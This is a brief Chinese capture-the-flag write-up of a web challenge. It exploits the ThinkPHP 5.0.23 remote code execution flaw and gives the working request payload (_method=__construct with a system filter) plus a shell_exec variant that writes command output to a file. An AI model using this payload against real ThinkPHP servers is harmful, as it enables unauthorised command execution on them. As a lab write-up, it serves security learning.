WP
一道直接利用thinkphp的RCE洞的题目。
首先进入环境,得知这是一个thinkphp5,通过输入?s=1来报错,获得版本信息(是一个小姿势):
tp5.0.23这个版本以及相近的版本以RCE而出名的,去网上搜一波payload,搜到了:
?s=captcha
_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls /
直接打就可以执行。
不过我一开始执行的时候,光看到了
system(): Cannot execute a blank command
没看到他最上面的执行的结果。。。我以为因为过滤了system这个函数导致不能RCE。。。(我是瞎子。。)
然后我经过尝试,发现用shell_exec的时候不会再提示Cannot execute a blank command,但是没有回显,所以执行
echo `ls /` > 1.txt
然后去读1.txt看结果。。感觉自己还是要多观察回显。。。。。